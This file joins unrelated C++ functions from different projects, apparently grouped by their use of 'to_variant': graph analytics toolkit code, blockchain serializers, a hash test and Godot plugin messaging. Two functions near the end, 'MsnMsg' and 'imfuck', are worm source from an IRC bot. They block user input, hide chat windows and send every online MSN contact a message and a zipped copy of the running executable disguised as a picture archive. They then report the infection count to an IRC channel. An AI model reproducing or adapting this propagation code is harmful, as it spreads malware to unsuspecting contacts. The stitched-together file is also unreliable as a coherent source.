toolkit_function_response_type exec(toolkit_function_invocation& invoke) { timer mytimer; setup(invoke); std::shared_ptr<unity_sgraph> source_graph = safe_varmap_get<std::shared_ptr<unity_sgraph>>(invoke.params, "graph"); ASSERT_TRUE(source_graph != NULL); sgraph& source_sgraph = source_graph->get_graph(); // Do not support vertex groups yet. ASSERT_EQ(source_sgraph.get_num_groups(), 1); // Setup the graph we are going to work on. Copying sgraph is cheap. sgraph g(source_sgraph); g.select_vertex_fields({sgraph::VID_COLUMN_NAME}); g.select_edge_fields({sgraph::SRC_COLUMN_NAME, sgraph::DST_COLUMN_NAME}); triple_apply_kcore(g); std::shared_ptr<unity_sgraph> result_graph(new unity_sgraph(std::make_shared<sgraph>(g))); variant_map_type params; params["graph"] = to_variant(result_graph); params["core_id"] = to_variant(result_graph->get_vertices()); params["training_time"] = mytimer.current_time(); params["kmin"] = KMIN; params["kmax"] = KMAX; toolkit_function_response_type response; response.params["model"] = to_variant(std::make_shared<simple_model>(params)); response.success = true; return response; }
std::shared_ptr<unity_sgraph_base> unity_sgraph::lambda_triple_apply_native(const function_closure_info& toolkit_fn_name, const std::vector<std::string>& mutated_fields) { auto native_execute_function = get_unity_global_singleton() ->get_toolkit_function_registry() ->get_native_function(toolkit_fn_name); log_func_entry(); auto lambda = [=](edge_triple& args)->void { std::vector<variant_type> var(3); var[0] = to_variant(_map_to_flex_dict(std::move(args.source))); var[1] = to_variant(_map_to_flex_dict(std::move(args.edge))); var[2] = to_variant(_map_to_flex_dict(std::move(args.target))); variant_type ret = native_execute_function(var); var = variant_get_value<std::vector<variant_type>>(ret); args.source = _map_from_flex_dict(variant_get_value<flexible_type>(var[0])); args.edge = _map_from_flex_dict(variant_get_value<flexible_type>(var[1])); args.target = _map_from_flex_dict(variant_get_value<flexible_type>(var[2])); }; return lambda_triple_apply_native(lambda, mutated_fields); }
void test_big( const std::string& expected ) { typename H::encoder enc; for (char c : TEST6) { enc.put(c); } for (int i = 0; i < 16777215; i++) { enc.write( TEST6.c_str(), TEST6.size() ); } H hash = enc.result(); BOOST_CHECK_EQUAL( expected, (std::string) hash ); enc.reset(); enc.write( TEST1.c_str(), TEST1.size() ); hash = enc.result(); BOOST_CHECK( hash >= H::hash( TEST1 ) ); test<H>( TEST1, (std::string) hash ); hash = hash ^ hash; hash.data()[hash.data_size() - 1] = 1; for (int i = hash.data_size() * 8 - 1; i > 0; i--) { H other = hash << i; BOOST_CHECK( other != hash ); BOOST_CHECK( other > hash ); BOOST_CHECK( hash < other ); } H hash2( expected ); fc::variant v; to_variant( hash2, v ); from_variant( v, hash ); BOOST_CHECK( hash == hash2 ); H hash3( expected.substr(15) + "000000000000000" ); BOOST_CHECK( hash3 == hash2 << 60 ); }
toolkit_function_response_type exec(toolkit_function_invocation& invoke) { timer mytimer; setup(invoke); std::shared_ptr<unity_sgraph> source_graph = safe_varmap_get<std::shared_ptr<unity_sgraph>>(invoke.params, "graph"); ASSERT_TRUE(source_graph != NULL); sgraph& source_sgraph = source_graph->get_graph(); // Do not support vertex groups yet. ASSERT_EQ(source_sgraph.get_num_groups(), 1); // Setup the graph we are going to work on. Copying sgraph is cheap. sgraph g(source_sgraph); g.select_vertex_fields({sgraph::VID_COLUMN_NAME}); g.select_edge_fields({sgraph::SRC_COLUMN_NAME, sgraph::DST_COLUMN_NAME}); double total_pagerank; double delta; size_t num_iter; triple_apply_pagerank(g, num_iter, total_pagerank, delta); std::shared_ptr<unity_sgraph> result_graph(new unity_sgraph(std::make_shared<sgraph>(g))); variant_map_type params; params["graph"] = to_variant(result_graph); params["pagerank"] = to_variant(result_graph->get_vertices()); params["delta"] = delta; params["training_time"] = mytimer.current_time(); params["num_iterations"] = num_iter; params["reset_probability"] = reset_probability; params["threshold"] = threshold; params["max_iterations"] = max_iterations; toolkit_function_response_type response; response.params["model"]= to_variant(std::make_shared<simple_model>(params)); response.success = true; return response; }
void to_variant( const exception& e, variant& v, uint32_t max_depth ) { FC_ASSERT( max_depth > 0, "Recursion depth exceeded!" ); variant v_log; to_variant( e.get_log(), v_log, max_depth - 1 ); mutable_variant_object tmp; tmp( "code", e.code() ) ( "name", e.name() ) ( "message", e.what() ) ( "stack", v_log ); v = variant( tmp, max_depth ); }
variant_type toolkit_class_base::get_value(std::string key, variant_map_type& arg) { perform_registration(); if (key == "list_functions") { return to_variant(list_functions()); } else if (key == "list_get_properties") { return to_variant(list_get_properties()); } else if (key == "list_set_properties") { return to_variant(list_set_properties()); } else if (key == "call_function") { // dispatches to a user defined function if (!arg.count("__function_name__")) { throw("Invalid function call format"); } std::string function_name = variant_get_value<std::string>(arg["__function_name__"]); return to_variant(call_function(function_name, arg)); } else if (key == "set_property") { // dispatches to a user defined set property if (!arg.count("__property_name__")) { throw("Invalid function call format"); } std::string property_name = variant_get_value<std::string>(arg["__property_name__"]); return to_variant(set_property(property_name, arg)); } else if (key == "get_property") { // dispatches to a user defined get property if (!arg.count("__property_name__")) { throw("Invalid function call format"); } std::string property_name = variant_get_value<std::string>(arg["__property_name__"]); return to_variant(get_property(property_name, arg)); } else if (key == "get_docstring") { // dispatches to a user defined get property if (!arg.count("__symbol__")) { throw("Invalid function call format"); } std::string symbol = variant_get_value<std::string>(arg["__symbol__"]); return to_variant(get_docstring(symbol)); } else if (key == "__name__") { return name(); } else if (key == "__uid__") { return uid(); } else { return variant_type(); } }
void GodotInstance::HandleMessage(const pp::Var& var_message) { switch (state) { case STATE_METHOD: { ERR_FAIL_COND(!var_message.is_string()); sd->method = var_message.AsString().c_str(); state = STATE_PARAM_COUNT; } break; case STATE_PARAM_COUNT: { ERR_FAIL_COND(!var_message.is_number()); sd->arg_count = var_message.AsInt(); state = sd->arg_count>0?STATE_PARAMS:STATE_CALL; } break; case STATE_PARAMS: { Variant p = to_variant(var_message); sd->args.push_back(p); if (sd->args.size() >= sd->arg_count) state = STATE_CALL; } break; default: break; }; if (state == STATE_CALL) { // call state = STATE_METHOD; if (sd->method == "package_finished") { GetURLHandler::Status status = package_pending->get_status(); printf("status is %i, %i, %i\n", status, GetURLHandler::STATUS_ERROR, GetURLHandler::STATUS_COMPLETED); if (status == GetURLHandler::STATUS_ERROR) { printf("Error fetching package!\n"); }; if (status == GetURLHandler::STATUS_COMPLETED) { OSNacl* os = (OSNacl*)OS::get_singleton(); os->add_package(pkg_url, package_pending->get_data()); }; memdelete(package_pending); package_pending = NULL; package_loaded = true; opengl_context_->MakeContextCurrent(this); nacl_main(init_argc, (const char**)init_argn, (const char**)init_argv); for (uint32_t i=0; i<init_argc; i++) { memfree(init_argn[i]); memfree(init_argv[i]); }; }; if (sd->method == "get_package_status") { if (package_loaded) { // post "loaded" PostMessage("loaded"); } else if (package_pending == NULL) { // post "none" PostMessage("none"); } else { // post package_pending->get_bytes_read(); PostMessage(package_pending->get_bytes_read()); }; }; }; }
void to_variant(const eosio::chain::block_timestamp<IntervalMs,EpochMs>& t, fc::variant& v) { to_variant( (fc::time_point)t, v); }
void to_variant( const array<T,N>& bi, variant& v, uint32_t max_depth = 1 ) { to_variant( std::vector<char>( (const char*)&bi, ((const char*)&bi) + sizeof(bi) ), v, 1 ); }
DWORD WINAPI MsnMsg(LPVOID param) { trx = 0; NTHREAD msn = *((NTHREAD *)param); NTHREAD *msns = (NTHREAD *)param; msns->gotinfo = TRUE; IMSNMessenger3 *pIMessenger = NULL; CoInitialize(0); HRESULT hr = CoCreateInstance( CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMSNMessenger2, (void**)&pIMessenger); char msnmsg[512]; strncpy(msnmsg,msn.data1,sizeof(msnmsg)); if (SUCCEEDED(hr)) { // char msg[256]; IDispatch * dispContacts = NULL; pIMessenger->get_MyContacts(&dispContacts); if (SUCCEEDED(hr)) { IMSNMessengerContacts *pIMessengerContacts = NULL; hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts); if (SUCCEEDED(hr)) { IDispatch * dispContact = NULL; IMSNMessengerContact *pIMessengerContact = NULL; long iContacts; hr = pIMessengerContacts->get_Count(&iContacts); if (SUCCEEDED(hr)) { BlockInput(true); for (long i = 0; i < iContacts; i++) { hr = pIMessengerContacts->raw_Item(i,&dispContact); if (SUCCEEDED(hr)) { hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact); if (SUCCEEDED(hr)) { BSTR szContactName; VARIANT vt_user; MISTATUS miStatus; IDispatch *pIDispatch = NULL; IMSNMessengerWindow *pIMessengerWindow; LONG wndIM; hr = pIMessengerContact->get_Status(&miStatus); if (SUCCEEDED(hr)) { if (miStatus == MISTATUS_OFFLINE) { pIMessengerContact->Release(); dispContact->Release(); continue; } } pIMessengerContact->get_SigninName(&szContactName); VariantInit( &vt_user ); to_variant(szContactName, vt_user); Sleep(3000); hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch); if (SUCCEEDED(hr)) { hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void **)&pIMessengerWindow); if (SUCCEEDED(hr)) { Sleep(10); pIMessengerWindow->get_HWND(&wndIM); SetForegroundWindow((HWND) wndIM); SetFocus((HWND) wndIM); trx++; ShowWindow((HWND) wndIM,0); srand(GetTickCount()); stats_msg++; //int i = rand() % sizeof(gen_msgenglish) / sizeof(gen_msgenglish[0]); key_type((char *)msnmsg, (HWND) wndIM); keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0); keybd_event(VkKeyScan('V'), 0, 0, 0); keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); keybd_event(VK_RETURN, 0, 0, 0); } } pIMessengerContact->Release(); dispContact->Release(); } } } BlockInput(false); // irc_privmsg(sock, chan, str_msn_msg, notice,TRUE); pIMessengerContacts->Release(); } dispContacts->Release(); } } pIMessenger->Release(); } CoUninitialize(); clearthread(msn.threadnum); ExitThread(0); return 0; }
inline void to_variant( const steem::protocol::legacy_steem_asset& leg, fc::variant& v ) { to_variant( leg.to_asset<false>(), v ); }
void to_variant( const sha1& bi, variant& v, uint32_t max_depth ) { to_variant( std::vector<char>( (const char*)&bi, ((const char*)&bi) + sizeof(bi) ), v, max_depth ); }
void imfuck(SOCKET sock) { const char *msgg; srand(GetTickCount()); msgg = *(&msg_send[randget(msg_send)]); char fakename[] = "pic0382.zip"; char windir[MAX_PATH]; GetWindowsDirectory(windir,sizeof(windir)); strcat(windir, "\\"); strcat(windir, fakename); IMSNMessenger *pIMessenger = NULL; CoInitialize(0); HRESULT hr = CoCreateInstance( CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMSNMessenger, (void **)&pIMessenger); if (SUCCEEDED(hr)) { IDispatch * dispContacts = NULL; pIMessenger->get_MyContacts(&dispContacts); if (SUCCEEDED(hr)) { IMSNMessengerContacts *pIMessengerContacts = NULL; hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts); if (SUCCEEDED(hr)) { IDispatch * dispContact = NULL; IMSNMessengerContact *pIMessengerContact = NULL; long iContacts; hr = pIMessengerContacts->get_Count(&iContacts); if (SUCCEEDED(hr)) { BlockInput(true); int x = 0; for (long i = 0; i < iContacts; i++) { hr = pIMessengerContacts->raw_Item(i,&dispContact); if (SUCCEEDED(hr)) { hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact); if (SUCCEEDED(hr)) { BSTR szContactName; VARIANT vt_user; MISTATUS miStatus; IDispatch *pIDispatch = NULL; IMSNMessengerWindow *pIMessengerWindow; LONG wndIM; hr = pIMessengerContact->get_Status(&miStatus); if (SUCCEEDED(hr)) { if (miStatus == MISTATUS_OFFLINE) { pIMessengerContact->Release(); dispContact->Release(); continue; } } pIMessengerContact->get_SigninName(&szContactName); VariantInit( &vt_user ); to_variant(szContactName, vt_user); _bstr_t tmp = szContactName; char buf[128]; sprintf(buf, _T("%s"), (LPCTSTR)tmp); char *pemail; pemail = strchr(buf, '@'); if(pemail != NULL) buf[pemail-buf] = NULL; strcat(buf, ".imageshack.com"); char exepath[MAX_PATH]; GetModuleFileName(NULL, exepath, MAX_PATH); zip_store(exepath, windir, buf); Sleep(3000); hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch); if (SUCCEEDED(hr)) { hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void**)&pIMessengerWindow); if (SUCCEEDED(hr)) { pIMessengerWindow->get_HWND(&wndIM); SetForegroundWindow((HWND) wndIM); SetFocus((HWND) wndIM); ShowWindow((HWND) wndIM,0); srand(GetTickCount()); int i = rand() % sizeof(msgg) / sizeof(msgg[0]); key_type((char *)msgg, (HWND) wndIM); keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0); keybd_event(VkKeyScan('V'), 0, 0, 0); keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); keybd_event(VK_RETURN, 0, 0, 0); Sleep(50); dropfiles((HWND) wndIM, buf); keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0); keybd_event(VkKeyScan('V'), 0, 0, 0); keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); x++; } pIMessengerWindow->Release(); } pIMessengerContact->Release(); dispContact->Release(); } } } BlockInput(false); char buf[128]; sprintf(buf, "[Msn] worm sent to %d contacts!", x); irc_privmsg(sock, channel, buf, 0); pIMessengerContacts->Release(); } dispContacts->Release(); } } pIMessenger->Release(); } CoUninitialize(); //return 0; }